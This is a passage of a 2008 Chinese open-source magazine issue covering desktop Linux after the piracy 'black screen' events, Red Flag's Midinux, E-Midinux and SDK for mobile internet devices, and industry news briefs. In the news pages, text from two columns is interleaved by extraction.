而此次的“番茄”“黑屏”事件,使得公众的目光都投向了桌面 Linux,并且迫切希望能使用上桌
面 Linux 系统,这给桌面 Linux 带来了机会,也带来了挑战。机会来自于过去的“不知道”到现在的“
知道了”,过去的“不在乎”到现在的“想使用”。而挑战则是如何将用户刚建立起的一点“信任”转
变为对桌面 Linux 的“信心”。

普及桌面 Linux、提升用户体验,这是占领大众桌面的关键。我认为桌面 Linux 厂商应该从以下三


个方面着手:首先,应该坚决支持微软打击盗版的行为,开源企业应该专人协助打击盗版,盗版是私有
软件和开源软件共同的敌人,在打击盗版的同时,普及保护知识产权的理念。其次,设立用户体验中心,
建 立 专 门 的 团 队 分 析 用 户 需 求 , 加 强 研 发 力 度 , 尽 快 提 升 Linux 桌 面 的 用 户 体 验 , 在 这 一 点 上 ,
Ubuntu Linux 通过社区的反馈机制和互动功能,达到了很好的用户体验,在简短的时间内大范围得到
了普及。除了以上两方面以外,在研发上应该有侧重点,Linux kernel 的研发是开源社区完成的,这
一块是参与到社区研发当中,而作为本地发行版,关键的工作还是在用户界面和体验( UI/UE),做好
了这两方面,桌面 Linux 将会更容易地推向普通的电脑用户。

三、开源教育中的“俄罗斯模式”
今年,中科红旗举办了“红旗杯全国大学生软件开源大赛”,并在全国各地高校进行宣讲,我有幸
参加了成都站的活动,感触颇多。第一个感触是热情,成都三个学校的讲座,会场爆满,学生们非常积
极,讲座过程极其流畅,会后咨询络绎不绝,让我很深刻的体会到开源星星之火已经燎原。第二个感触
是开源在同学们心目中是一直理想、一种信仰,一种对自由的追求,期间接触的几个同学,都将从事开
源软件的研发,毕业后投身开源领域当做了自己的奋斗目标,这是一种对开源软件这么一种软件哲学的
认可。第三个感触则是一种情绪,一种不满,有一个同学直言不讳的问我:“开源是这么好的一个东西,


oss.linuxpk.com
源 2008 年第 12 期 21
产业聚焦
学校为什么不开课?”而另一个同学则表达了他在推广开源软件遇到的困难:“我很认可开源的理念,
也一心想将此分享给更多的朋友,但是当我将 Linux 介绍给他们,甚至给他们装上以后,没人能后续的
教会他们如何使用,我很希望我们学校能有相关的 Linux 课程,因为 Linux 实在是太好了”。从成都回
来,我就一直在琢磨,目前,类似的教育推广活动不是太多,而是太少,规模不是太大,而是太小。

我们看看邻国俄罗斯是怎么做的,自微软状告俄国教师安装盗版软件,两代总统“求情”未果之后,
俄罗斯在全部学校使用基于 Linux 的 Russian OS,大力推广开源软件。俄罗斯各地纷纷举办举办各种
学习班、培训班学习 Linux。从 2007 年至今部署已经实施一年,到今年 9 月,已有 1092 所实验区学校
部署完毕,其他非实验区的 200 多所学校也即将上马。俄罗斯花大力气,投入大量资金在学校部署开源
操作系统的用意其实很明显。当这一代人走出校门后,他们将选择自己熟悉的 Linux 开源软件,而不会
也不需要重蹈盗版软件的覆辙。

因此,我国在开源教育的道路上应该借鉴俄罗斯的经验,在高校普及 Linux 等开源软件的应用,课


程上加以配合。这可能就存在一个问题,学生们迫切的希望学习 Linux 等开源软件,而师资力量跟不上
怎么办?这个时候,开源企业应该更多的承担起社会责任,承担起教育用户的责任,应该联合教育部,
培训高校的教师,同时,组织类似于“红旗杯”的高校教育活动,为我们的同学提供多渠道、多维度的
受教育机会。

四、猜想:整合,将是趋势
上面有提到,俄罗斯在学校使用基于 Linux 的 Russian OS 系统,Russian OS 就是俄罗斯整合
多家国内 Linux 厂商的产物。整合,将是国内 Linux 厂商发展的一个趋势。说之为趋势,主要来自三方
面的考虑,第一是上市的考虑,开源的发展需要资金,而上市将是很好的一个途径,整合多家 Linux 厂
商,将为上市铺平道路。第二是整合将更有利于市场宣传,在目前阶段,用户连 Linux 概念都很模糊,
更不用说记住多家不同的 Linux 发行商。第三点最为关键,从技术层面,整合了各家的开发力量,将中
国有限的开源技术高手集中起来,打造一套更为优秀的 Linux 操作系统,同时减少厂商之间的内耗,降
低重复劳动。

谈到了整合的好处,那谁来整合这个市场则是重点了,我想这应该是一个很顺理成章的市场行为,
通过市场选择,由市场决定,而决不能是一个简单的政府行为。结合上面提到的三点,第一,上市的计
划,这就决定了整合的厂商必须是一个商业运营的公司,一个纯商业化运作的企业,有自己的市场,有
自己的用户。第二,整合后的品牌效应,品牌是一个具有延续性的属性,整合后的品牌应该体现在附加
值上,而不是一切推倒重来,因此整合的厂商应该具有良好的品牌效应和口碑。第三点则是整合后的技
术优势,整合的厂商具有一定的研发能力,并且产品在政府、企业、社区有着一定的认知度,这将左右
整合后产品的侧重点和研发方向。综合上面几点猜想,在目前世界发行版众多,内耗严重的情况下,中
国应该由市场决定,保留一个发行商,由他整合其他,在更深入普及开源应用的同时,具有和国际巨头
抗争的实力。


oss.linuxpk.com
源 2008 年第 12 期 22
产业聚焦

备战 MID 大规模应用
红旗软件推新品
11 月 21 日,中科红旗软件技术有限公司 (红旗软件)在北京举行 Midinux 技术峰会,并发布
Midinux 的 延 伸 应 用 产 品 E-Midinux , 以 及 面 向 应 用 开 发 商 和 Linux 编 程 爱 好 者 的 软 件 包 工 具
Midinux SDK。

中科红旗软件技术有限公司总裁兼 CEO 贾栋

据有关负责人介绍,EMid 是针对嵌入式应用的系统,主要应用于诸如工业控制、汽车电子等嵌入式
设备,而 Midinux 的主要应用则在消费类电子设备和移动通信,其各自的目标市场不同。而 Midinux
SDK 为开发者提供了全面的 Linux 开发工具,并支持 Web 应用框架,可以使更多的开发者能够开发 MID
上的应用,真正得到跨平台和与互联网无缝集成。

自从 2007 年 Intel 发布移动互联网平台以来,移动计算平台得到了全新的定义。由于 MID 设备的


移动特性、较小的屏幕及全新的操作方式,传统的 PC 操作系统很难适应,这为 Linux 操作系统的发展
提供了机遇。


oss.linuxpk.com
源 2008 年第 12 期 23
产业聚焦

英特尔中国开源技术中心北京研发总监杨继国
2008 可谓是 MID 元年。就在今年 4 月举办的英特尔技术峰会 IDF 上,英特尔携合作伙伴所展示的
MID 成为最大的亮点。8 月,华旗资讯率先发布全球首款基于凌动处理器的 MID 产品,该设备采用了定
制于红旗的 Midinux 操作系统。

目前,在众多软件合作伙伴的协力下,已经有超过 40 种应用软件移植到 Midinux 平台上,其中包


括 QQ、汉王手写、大智慧证券、支付宝、灵图导航、RedOffice、RealPlayer、联众游戏等。此次红
旗软件所推出的 Midinux SDK,便是希望通过该 ISV 推出更广泛的应用。

中科红旗软件技术有限公司总裁兼 CEO 贾栋向比特网记者介绍,尽管 MID 大规模普及还有待时日,


但至今已有包括联想、明基、爱国者等数款 MID 产品上市,这些产品均使用了红旗的 Midinux 操作系统。
据透露,在 MID 产业链中,目前已经有包括联想、明基、爱国者和日立等 6 家 OEM 合作伙伴,到今年圣
诞节将会有 MID 新品上市。

有业界言论认为,在 MID 产业链中,很多厂商都在尝试开发系统,目前就中科红旗拿下了所有 MID


的单子,本次推出 Midinux 的延伸应用以及开发工具包,这是红旗软件为移动互联网设备的大规模应用
所做的前期备战。


oss.linuxpk.com
源 2008 年第 12 期 24
产业聚焦

从 E-midinux 发布看 MID 多元化应用


陈杰

11 月 21 日,在中科红旗举行的 Midinux 技术峰会上,一口气发布了两款产品: E-Midinux 和


Midinux SDK。Midinux SDK 从名字上大家就能看出是一套基于 Midinux 的软件开发工具包,以便
更多的开发者能够基于 Midinux 开发出更多的第三方软件,丰富 Midinux 的应用。

E-midinux 是什么?这个问题我是边思考,边搜索,还是没有得出任何答案,直到我去参加了中科
红旗的 Midinux 技术峰会。简而言之,E-Midinux 是 Midinux 的嵌入式版本,其目标平台要求更低功
耗,以及需要长期技术支持的平台。目标是针对稳定性、可靠性的有更高要求,并且需要一定程度实时
特性的应用。

目前,E-Midinux 集成了 Intel 的 IEGD 驱动,Intel 对驱动提供长达 7 年的技术支持。红旗也


对该平台提供 5 年的技术支持。这对很多专用的嵌入式领域很有意义,比如地铁线路的建设就会需要 3、
5 年的时间,电力控制设备、医疗仪器设备也需要多年的稳定可靠运行。E-Midinux 的内核、系统可以
根据应用的要求充分可定制。

随着 Netbook、MID 地流行,其操作系统 Midinux 已经深入人心。如今,中科红旗又适时的推出


其嵌入式版本,其用意何在?

MID(Mobile Internet Devices)的定位是等同与笔记本的口袋电脑,也就是说其具有两个特


性。一是功能等同于传统的笔记本,笔记本上能完成的所有应用在 MID 上同样能实现,效率甚至更高,


oss.linuxpk.com
源 2008 年第 12 期 25
产业聚焦
这应该看做是与传统笔记本的共性;那第二点则体现的是 MID 与传统笔记本的差异,“口袋电脑”就很
好的诠释了这个特性,小巧,并且能放进随身的口袋。

从 MID 的特性上我们能够看出,他有别于传统手持设备最大的地方,是在功能上等同与传统的笔记
本电脑。而传统的手持设备一般所运行的操作系统都是经过剪裁,功能缩水的嵌入式操作系统。而 MID
则是一个完整的未剪裁的操作系统,并且由于同样是 X86 的架构,使得传统 PC 上的应用软件能平滑迁移
到 MID 上。

很明显,完整的操作系统和剪裁后的嵌入式操作系统是 MID 与传统手持设备的最大区别。那为什么


中科红旗在 Midlinx 取得一定成功的基础上又回头重新关注起嵌入式的操作系统了呢?

这应该与 MID 日趋多元化的应用有关。MID 主打消费电子市场,寄希望于其丰富的应用,时尚的造


型能在竞争激烈的消费电子市场取得一席之地。但随着 Atom 芯片性能不断提升,功耗不断下降,MID 拥
有了更为广阔的市场,那就是面向行业、面向企业的移动解决方案。比如,在现代化的医院中,医护人
员人手一台 MID 设备,并且通过无线网络在整个医院区域连接起来,这不仅实现了企业中“统一通信”
的功能,更进一步地将统一通信演变为了医院的每一个角落中,这是移动手持设备带来的变革。我们完
全可以想象医护人员每天例行检查时不是带着登记本,而是手持 MID,一切数据都能通过 MID 连接到后
台数据库,这将是在卫生医疗系统的一次革新。

上面提到了通过 MID 打造移动医院的构想,那么完整的 Midlinx 操作系统是否显得有点多余?在需


求不同的时候我们是否能选择运行在 MID 上操作系统的资源耗费。e-midinux 在这种时候就有了用武之
地,它强调的是定制,将不需要的功能裁剪掉,为需要大量应用的功能进行优化,这就类似于我们提到
的“精兵简政”,而实际目的则是更具有针对性的系统,更低的功耗,以及更为强劲的性能。

移动是未来的一个发展方向,而手持设备则为 Linux 发展带来了全新的机遇,未来的移动应用将是


多样化的,e-midinux 的发布就为移动多元化应用带来了可能,我们会在不同的 MID 上见到不同的 e-
midinux 操作系统,而他们的共同点则是基于 Midlinx。


oss.linuxpk.com
源 2008 年第 12 期 26
产业聚焦

现在开始,创建未来
——红旗软件正式发布 Midinux SDK

你关注着互联网的未来,你了解到了 MID,你看过 Midinux 和 Moblin。你有在 Linux 平台上开发


的 能 力 和 热 情 , 你 热 衷 于 编 写 Web 和 Flash 应 用 。 那 么 从 现 在 开 始 , 出 现 了 一 个 新 的 舞 台 — —
Midinux SDK。

红旗 Midinux 系统从 2007 年发布以来,得到了业界的广泛关注,并取得了市场成功。此次发布的


SDK,是为 MID Linux 开发商、爱好者所提供的,为 MID 开发应用软件的工具集,它为 MID 软件产业
再次注入了强大的力量。此前,已经有众多的 ISV 基于 Midinux SDK 开发了大量高价值的应用,为
MID 市场提供了至关重要的组成部分。

Midinux SDK 整合了 Midinux 所有的应用环境,支持库和头文件,包括了 GTK,Clutter,EFL


等架构、示例程序。SDK 支持 C/C++,Python,Java 等开发语言和 Eclipse 等图形界面开发工具,
适应各种编程人员。最重要的是,你可用在 PC Linux 环境下进行“模拟”方式的开发,目标码能够直
接在 MID 上运行,极大地提高了开发效率。你只要在红旗 Linux、Fedora、Open SuSE 或者 Ubuntu
环境下安装 Midinux SDK,就能够像开发 Linux 桌面应用一样,保持原有的习惯,创造新的奇迹。

MID 产 品 的 界 面 比 传 统 的 PC 系 统 更 华 丽 , 更 易 用 。 要 得 到 绚 丽 的 界 面 特 效 和 灵 活 的 交 互 ,
Midinux SDK 提供了一条捷径。它包含了完整的图形库、触摸屏手势支持、增强的 GTK 控件、3D API
、物理反馈、主题管理支持,以及高性能的浏览器和多媒体回放引擎。你的团队,能够基于 Midinux


oss.linuxpk.com
源 2008 年第 12 期 27
产业聚焦
SDK 和创新的设计,打造颠覆性的应用软件。

移动互联网是 MID 的核心价值,Midinux SDK 全面支持 Adobe Flash 和 Air 应用框架,更多的


开发者能够使用 Web 编程经验来开发 MID 上的应用,真正得到跨平台和与互联网无缝集成。此外,SDK
遵循标准的 POSIX 标准,方便原有其他平台的软件迁移;支持 i18n 国际化标准,对多语言支持良好。

软件开发好了,能否具有更强的兼容性?如何推广? 我们已经帮你处理好这些问题。 Midinux 完全


兼容 Intel 的 Moblin 系统,因此,使用 Midinux SDK 开发的应用,能够良好兼容所有 Moblin
based 的 MID。像其他系统厂商一样,Midinux SDK 为你提供的软件的打包和发行方案。只要把新软
件包放到软件仓库或者 Web 上,就可以通过 Midinux 系统中的
Updater 安装并使用,当然,这个过程是可以经过安全验证的。
OEM 厂 商 和 运 营 商 们 , 可 以 在 此 基 础 上 构 建 自 己 的
Application Store,这当然很有趣。

现 在 , 大 家 都 可 以 得 到 红 旗 Midinux SDK , 请 访 问 :
http://www.redflag-linux.com/midinux_tx/SDK/ 即
可!

MID 发展适合 web2.0


的发展趋势
MID 设备顺应了走向互联网移动的趋势。在 MID 出现之后,
中科红旗国际运营部总监耿增强
高端的智能手机是可以访问的,但它并不能提供用户在 PC 上所


oss.linuxpk.com
源 2008 年第 12 期 28
产业聚焦
有的功能,提供的内容跟 PC 相比是相差甚远的。但是 MID 这个领域的确能够提供更好的资源,并且能够
达到同等的效果。但是它有两个方面的要求,一方面要求移动,另外一方面要能够访问全功能的互联网,
这样就催生了 MID 新领域的需求。

一、什么是 MID?
在红旗 Midinux 技术峰会上,红旗软件国际运营部总监耿增强做了非常简单的介绍,MID 像笔记本
这么强大,手机一样便携,这样一个移动互联网设备就称之为 MID。MID 在 Web2.0 发展的趋势中,是
能够起到相互促进作用。当你拥有 MID 设备的时候,你可以随时随地,更方便的把你的所见所闻分享给
大家,然后分享给整个社区,也可以更为快捷去做其他 Web2.0 的内容。从 Web2.0 的发展趋势来看,
MID 非常适合这一发展趋势。

此外,如果说 Web2.0 关键的核心是用户创造内容的话,Linux 其实是 Web2.0 的引领者。因为在


Linux 产生之初,大家知道因为它最重要的创新点,并不是创新了一个开源的操作系统,而是创造了一
个通过社区来开发的模式,并通过社区创造内容,这才是它的核心所在。所以从这个角度来讲, Linux
是 Web2.0 最早最重要的范围。

二、各种终端设备和趋向的融合
市场上有非常多的移动终端设备,有 PMP,也有各种手持终端设备,也有 MP4 等等。那么,MID 设
备发展到后来是什么?未来是什么?未来只能是提供更多的内容,向高端发展,其结果相信会跟 MID 产
生很大程度的融合。终端设备趋向的融合,也是导致 MID 市场发展的非常大的原因。任何这种计算机设
备,它的量的兴起必须要具备一个非常重要的因素就是价格,价格一定要足够的低。但是今天的 MID 设
备价格还是太高了,按照发展规律,他后续会尽量快速的提升,并且价格会快速的下降,等价格下降到
一定程度的时候,这个突破量会有非常快速的增长。

耿增强强调:未来是开放的,这一点对红旗非常重要,对整个 MID 生态链也非常的重要。

三、市场占有率 100%
2007 年红旗发布了 Midinux 2.0,至今已有四种基于该平台的 MID 设备面市,包括爱国者是在中
国大陆、香港同时上市,明基是在意大利,日立首先是在美国发布的车载 MID 设备。大家可以惊奇地发
现,凡是已经上市的 MID 产品,无一例外使用了 Linux 系统,所以红旗已经达到了 100%的市场占有率。
现在红旗正在加大投入研发下一代 Midinux 系统,旨在为消费者提供一套更便捷、灵活的系统平台。


oss.linuxpk.com
源 2008 年第 12 期 29
开源通讯

红旗 Midinux 助力 BenQ
哈尔滨 Linux 用户组成立
S6 意大利上市 经 过 近 一 个 月 的 准 备 , Harbin Linux
User Group(HLUG)已于 11 月 14 日在哈尔
近日,BenQ 首款移动上网装置(MID)S6 在
滨正式成立。和其他 Linux 用户组一样,HLUG
意大利米兰正式上市,这是全球第一款由欧洲运
将作为哈尔滨及周边地区所有 Linux/开源软件
营商认证并上市的基于 Intel Atom 处理器的
的用户,开发者,支持者进行技术交流、经验分
MID 产品。事实上,由于 MID 设备的移动特性、
享的沟通平台。目前参与活动的主要成员来自安
较小的屏幕和全新的操作方式,传统的 PC 操作
天实验室、哈尔滨工业大学、哈尔滨理工大学、
系统很难适应,其优势已不存在。在此领域 ,
哈尔滨医科大学等单位和院校。
Linux 开放、可定制、高性能高安全的特点体现
出 了 优 势 。 BenQ S6 采 用 了 定 制 的 红 旗 HLUG 的成功建立,需要特别感谢来自中国

Midinux 操 作 系 统 , 其 成 功 上 市 , 肯 定 了 开源软件推进联盟和北京 Linux 用户组的指导,

Linux 操 作 系 统 对 于 移 动 计 算 的 价 值 。 正 是 以及安天实验室和哈尔滨工业大学的支持。HLUG

Midinux 系统可深度定制的特性,让 BenQ 优秀 的主页: http://www.harbinlug.org

的设计团队大展身手,实现了 BenQ 视觉科技、


移动科技和产品设计三大核心竞争力。
威盛发起超移动产业
策略联盟推迷你笔记本
Novell 收购 Managed
10 月 28 日,威盛电子携手微软在深圳成立
Objects 公司 开放式超移动产业策略联盟(简称 GMB),以整

10 月 17 日 , Novell 宣 布 已 达 成 收 购 合平台模式战略进攻国内超移动新兴市场。 GMB

Managed Objects 的协议,该公司主要从事服 联盟实际上就是威盛电子将超移动设备的硬件平

务 管 理 ( BSM ) 领 域 的 研 发 。 此 次 收 购 将 使 台对下游厂商完全开放,联盟中的合作伙伴将会

Novell 数据中心解决方案得到扩展,通过增加 分享威盛领先的低功耗 x86 处理平台的技术和经

一些工具来提供统一的信息和工作负载视窗,从 验。

而,IT 和业务经理们能更好地审视信息系统在物 此次活动在深圳举行,由威盛和微软共同主


理和虚拟环境下提供业务服务的状况,在提高敏 办,联盟还汇集了诸多制造商和各种基础设备合
捷性并降低数据中心管理总成本的同时,更好地 作 伙 伴 , 如 美 商 (AMI) 、 联 阳 (ITE) 和 晟 碟
做出决策,以确保服务的质量和针对性。 (SanDisk)。联盟成员将通力协作,提供专业的
BIOS 编写和数据存储应用支持;此外,微软承
诺 将 继 续 为 7-15 寸 屏 迷 你 笔 记 本 设 备 提 供


oss.linuxpk.com
源 2008 年第 12 期 30
开源通讯
Windows XP 系统,各种新型便携计算设备和上 迷你电脑市场上有着极快的开机速度,还有平易
网设备将得以面世,提供给世界各地新一代的电 近人的使用者界面,先今已搭載在 Lenovo S9、
脑用户。 S10 以及许多 Malata 所推出的机种上。

同时,由于 Moblin 为英特尔在迷你电脑上

高校开源大赛巡展拉开 的 Linux 平台,身为 Moblin 的成员,百资科技


正 积 极 地 投 入 人 力 , 期 望 在 2009 年 初 将
红旗掀起 Linux 热潮 Moblin 2.0 导入市场,预期到时将可带来更快
的开机速度以及 3D 风格的使用者界面。
近日,红旗杯全国大学生软件开源大赛巡讲
在西南地区拉开,相继在成都三所高校举行活动
此举标志着“红旗杯全国大学生软件开源大赛”
DeviceVM 推出采用
正式进入第二阶段。此次活动由中科红旗发起,
得 到 了 Intel 中 国 、 Linuxpk 、 IT168 、
Splashtop NetBook
ITPUB 和 Chinaunix 等多家企业、媒体和社区 10 月 28 日 , DeviceVM 宣 布 其 获 奖 产 品
的支持。 Splashtop 被集 成在 联想 NetBook IdeaPad
S10e 上,成为世界上第一台真正意义上的即时
在成都,中科红旗在连续三日的活动中,分
启动 Netbook 迷你笔记本。
别在四川邮电职业技术学院、成都信息工程学院
和西南民族大学进行了精彩的讲座和互动活动, 联 想 IdeaPad S10e 的 用 户 通 过
掀起了一轮 Linux 热潮,活动现场人潮如涌,很 Splashtop 无需进入传统的操作系统,在打开
多同学对 Linux 表现出浓厚兴趣,并与红旗教育 NetBook 电源的数秒后即可上网冲浪,检查邮件,
学院讲师探讨 Linux 及开源软件的应用模型。此 在线聊天或视频。联想把集成在 IdeaPad S10e
次活动邀请《开源》杂志主编陈杰参加,并就如 上的 Splashtop 命名为“Quick Start”。该
何参与开源社区建设进行了精彩演讲。会后,不 NetBook 采用 Intel Atom 处理器。
少同学竟排起长队报名领取宣传单和红旗 Linux
桌面 6 的测试盘,率先感受红旗 Linux 桌面 6 的
风采。 红旗桌面 6.0 亮相中关村
20 年成就展
百资科技投身迷你电脑 10 月 9-14 日,由科技部火炬中心、中科院
北京分院、中关村科技园区管委会、海淀区人民
与 Moblin 领域 政府联合举办的中国自主创新的动力引擎——“
百资科技近来配合 Lenovo 和 Malata 制造 中关村科技园区成立 20 周年自主创新成就展”
商出货,已成为迷你电脑(Netbook)市场上备受 在北京国家会议中心隆重举行。
欢迎的厂商。Linpus Linux Lite 作业系统在
展会上,红旗软件着重展示针对个人用户的


oss.linuxpk.com
源 2008 年第 12 期 31
开源通讯
最新桌面产品 6.0,这是红旗软件不同于以往任
何一个版本的桌面产品,它吸取了以往发行版本
DeviceVM 为 Moblin 提供
的经验,融合了当前用户的需求、整合了众多业
界合作伙伴们的共享技术。熟悉的图形界面、便 即时启动、节能体验
捷的办公、上网、娱乐等功能,已经完全能够满
10 月 20 日,DeviceVM 宣布其获奖产品即
足大众的需求。红旗将继续秉承“创新进取”的
时 启 动 系 统 Splashtop 已 集 成 在 采 用 Intel
思想,为用户提供更多、更满意的产品和服务。
Atom 处理器的 Netbook 和 Nettop 上,并且将
加 入 Moblin.org 项 目 计 划 , 从 而 能 够 利 用
Teradata 加快采用 Moblin 已经为英特尔 Atom 处理器所优化的技
术,为以上网为目的的电脑提供快速启动和节能
SUSE Linux 进程 的系统。Moblin 计划是一个开源社区计划,专

11 月 12 日,Novell 与 Teradata 公司联 注于开发基于 Linux 技术,并对英特尔 Atom 处

合宣布,随着 Linux 成为 Teradata 企业级数 理 器 进 行 了 优 化 了 的 , 可 以 为 如 Netbooks 、

据仓库的可信赖的选择,他们将为客户提供新一 Nettops、移动因特网设备和车载信息系统等设

级的支持。Teradata 是世界著名的专门从事数 备提供软件支持的系统平台。

据仓库和企业分析的公司。

“根据协议,我们正在不断提升我们之间的 恩信科技开源 ERP V7.60


日常工作关系,它将形成并加快在企业级数据仓
库中采用 Linux 的速度,”Teradata 首席开发 于年底发布
官 Scott Gnau 说 。 作 为 协 议 的 一 部 分 ,
经过恩信科技核心开发团队的努力,恩信科
Novell 将提供一个专门的 Linux 服务设计团体, 技开源 ERP 软件的下一个版本 V7.60 即将发布,
以提高在 SUSE Linux Enterprise 上运行的 目前正在进行紧张的测试工作。V7.60 产品在原
Teradata Purpose-Built Platform
来产品的基础上增加了更多的功能,同时在即将
Family 的性能,Novell 还将确保应用软件可
发布的 V7.60 产品中,将提供很多支持个性化应
以在其操作系统上进行顺利集成。
用方面的功能,比如对于审核工作流的可视化定
义,自由定义组合的高级查询功能,自定义计量
单位转换功能,自定义表单功能,自定义第一工
作页面功能,自定义计算精度等相当丰富的个性
化应用的功能,而且最主要的是该版本支持与
V7.0、V7.10 的数据平滑移植。


oss.linuxpk.com
源 2008 年第 12 期 32
开源通讯
国产操作系统和办公软件的下载量一时间以几倍
番茄与黑屏事件带来契机 的速度增长。上海中标软件有限公司面对这种状

红旗 Linux 下载量突破千万 况,第一时间通过多种渠道为我国个人客户提供


了一架式整体解决方案,其中包括中标普华
受微软番茄花园及黑屏计划的影响,特别是 Linux 桌面操作系统和中标普华 Office 办公软
在中央电视台东方时空节目连续两次播放支持国 件(for windows\for Linux 版)。自 10 月
产的红旗 Linux 操作系统。根据国内第三方的
22 日起,中标软件在各大主流软件下载网站提供
Linux 社区网站 Linux PK 和 China Unix 统
了 中 标 普 华 Linux 桌 面 个 人 版 和 中 标 普 华
计分析,在事件发生后,红旗 Linux 的日下载量
Office 办公软件个人版的免费下载,自产品上
曾激增到数十万,而红旗软件桌面版历年来总的
传截止到发稿时,据不完全统计,中标普华系列
下载量已经突破千万,创造了中国操作系统的下
产品的个人用户下载次数就累计突破了 30 万次,
载的历史记录。
同时为了用户更好的使用国产软件,中标软件还
从 Chinaunix 的网站可以看到,在 10 月 开展了国产操作系统办公软件免费培训班为用户
25 日中午,排名前 5 的分别为,红旗 Linux 奥 答疑解惑。
运版,周下载量为 387921 次数高居第一,而在
社区中呼声很高的 Ubuntu 的位置在只排在了第
5 名,这个数据也说明,目前在中国的用户最普
Novell 协助第三方 Linux 用
遍接受的操作系统的版本还是红旗 Linux。
户过渡到 SLES
据了解,红旗官方网站上下载流量也成倍增
11 月,Novel 对外宣布提供新的订购和支
长,目前红旗所使用的天津网通和北京联通 IDC
持方案,以帮助用户实现从现有的第三方 Linux
机房中,十台下载服务器都是超负荷运行,在红
产 品 过 渡 到 SUSE Linux Enterprise
旗的的软件独享流量已经超过平时的 2 倍,最高
Server 。 配 备 扩 展 支 持 方 案 的 SUSE Linux
独享流量达到 173M/秒,按这个方式计算,平均
Enterprise Server 订购方案包括一个 3 年期
每 5 秒就有一张红旗软件的光盘被下载安装。
的 SUSE Linux Enterprise Server 订购,
并为用户现有的 Linux 配置提供 2 年期的技术支

黑屏促中标普华 Linux 持 , 同 时 帮 助 其 过 渡 到 SUSE Linux


Enterprise。
下载突破 30 万 Novell 将为用户现有的 Linux 环境提供技
自微软黑屏事件发生之后,我国大量的个人 术支持,同时还提供培训和工具,以确保用户顺
计算机用户将目光转移到 Linux 操作系统上来, 利成功地过渡到 SUSE Linux Enterprise 平
台。


oss.linuxpk.com
源 2008 年第 12 期 33
开源社区

GNOME 发布 2.25.2
划,自 GNOME 2.24 之后的稳定版本 2.26 预
计 明 年 3 月 推 出 。 GNOME 2.25.2 为 GNOME
2.26 的第二个开发版,其主要改进包括:

● 去除了文件管理器 Nautilus 的 libgnome 及


gnome-vfs 依赖;

● 对文本编辑器 Gedit 的插件系统进行了修订;

● 重新设计了 GDM 的用户切换组件;

● 文档 查看 器 Evince 添 加了 对 PDF 可选 内 容
(层)的支持;

● 即时通讯工具 Empathy 加入了文件传输功能。

GNOME 2.25.2 也包含其他一些细微变化


近 日 , GNOME 开 发 团 队 发 布 了 版 本 号 为
以及缺陷修正,具体可查看其 NEWS 文件。
2.25.2 的开发版。根据 GNOME 项目的开发计

Moonlight:Linux 平台下的 Silverlight


oss.linuxpk.com 2008 年第 12 期 34

开源社区
微软的 RIA 技术 Silverlight 即将安家 Linux 平台。Novell 公司日前推出 Moonlight 项目的
第一个 Beta 版,Moonlight 属于 Linux 版.NET 项目 Mono 的一部分。该 Beta 版的功能已经完备,
将是 2009 年 1 月发布的 Moonlight1.0 的前身。Moonlight1.0 旨在帮助 Linux 用户实现微软的
Silverlight 功能,尽管 Silverlight 号称 AdobeFlash 的竞争对手(曾被称为 Flash 杀手),
Novell 官方并不认为 Moonlight 是 Flash 的竞争者。

Novell 平台开发 VP,也是 Moonlight 项目的主管 MigueldeIcaza 表示,“我们对任何语言一


视同仁,对我们来说,我们更希望保持 Linux 在 Web 中的头等公民地位,并不是说我们喜欢 Flash 而
不喜欢 Silverlight,我们希望在 Linux 阵营,任何有趣的 Web 内容都不被错过。”

DeIcaza 和他的团队最早于 2007 年 6 月开始微软 Silverlight 的 Linux 克隆工作,2008 年 5


月公布了第一个版本。Novell 的 Moonlight 项目从微软获得了不少帮助,Novell 和微软已结成互用
性合作伙伴关系。

DeIcaza 的团队最初根据 Silverlight 公开的文档展开工作,微软也向 Moonlight 团队派驻开


发者以回答那些在公开文档中为涉及的问题。事实上,微软的公开文档很出色,他们派驻给 Novell 的
工作人员几乎没什么事可做。

另一项工作是,我们需要在 Linux 中编译微软的媒体编码器,Icaza 说,我们在保密协议下拿到了


他们的媒体编码器代码并在 Linux 下编译,最终,用户将得到和 Windows 一样的音频和视频编码器。

Firefox 扩展有望登陆 IE8


近日,EBlog 发布一篇 文章表示,于美国当地时间
12 月 11 日在山景城由“计 算机历史博物馆”举办的会
议上,Google、微软以及 Mozilla 将共聚一堂,畅谈
浏览器平台的未来。而其中 一个重要的议题就是:“从
Firefox 到 IE:如何编写 跨浏览器的扩展”。

Firefox 做 为 一 款 开 源产品,有着令其他浏览器
无法望其相背的数量庞大的 扩展,而在软件向服务转变
的大潮中,在线应用类产品 正随着 Web 的不断扩充而逐
渐取代传统的桌面。

正如操作系统时代时的跨平台开发一样,愈演愈烈的浏览器大战也正在上演当初的一幕,从技术进
步的角度来看,Web 的开放性以及更好的语言无关性为跨浏览器开发奠定了坚实的基础。


oss.linuxpk.com 2008 年第 12 期 35

开源社区

Chrome 最新开发版将支持多重 Profile

我们知道 Google Chrome 可以支持单独的 Profile 配置文件,也就是说你可以在不同场合下,使


用不同的配置文件的 Chrome。之前的版本可以通过在 Chrome 快捷方式后面加参数--User-data-
dir=来实现,但这样确实很麻烦,需要建立相应的文件夹、然后再添加快捷方式、然后再给快捷方式后
面加参数等。

不过,估计下一个版本的 Chrome 应该不会有这么麻烦了,因为最新版的 Chromium(Chrome 开发


版,我使用的 R6347 已经可以支持多重 Profile,直接在浏览器里就可以随意添加新的 Profile,同
时 Chromium 在你允许的情况下,还可以直接将不同 Profile 的 Chromium 快捷方式放在你的桌面上。
更强大的是,你在不退出浏览器的情况下,就可以切换到另外一个 Profile 中运行。

一般来说,Chromium 的功能很快在 Chrome 中就会实现,所以笔者估计下个版本的 Chrome 也许


就会加入此功能。

另外,国外有些论坛说 Chrome 本周末就可能加入插件安装的功能,还不确定是不是真的。


oss.linuxpk.com 2008 年第 12 期 36

开源社区

gOS Cloud:浏览器式的操作系统

Good OS 公司最出名的产品莫过于 gOS 了,这款基于 Ubuntu 改造,搭载各种 Google 应用程序的


Linux 系统赢得了不少欢迎。日前在法国巴黎举行的 NetBook 全球峰会上,Good OS 又宣布了他们的
最新作品“Cloud”,一款超轻量级的 Linux 操作系统,特色包括:瞬间启动、浏览器式界面和直接启
动 Windows。

Cloud 系统的标准容量仅有 35MB,只要是拥有 128MB 内存的 x86 平台都可以运行。它可以实现“


瞬间启动”,即像一些高端主板内置的 “Splashtop”系统一样,开机数秒后即可正常使用。它可以安
装在硬盘或 NetBook 的 SSD 固态硬盘中,也可以像 SplashTop 系统那样嵌入主板内置闪存,方便
NetBook 厂商预装。

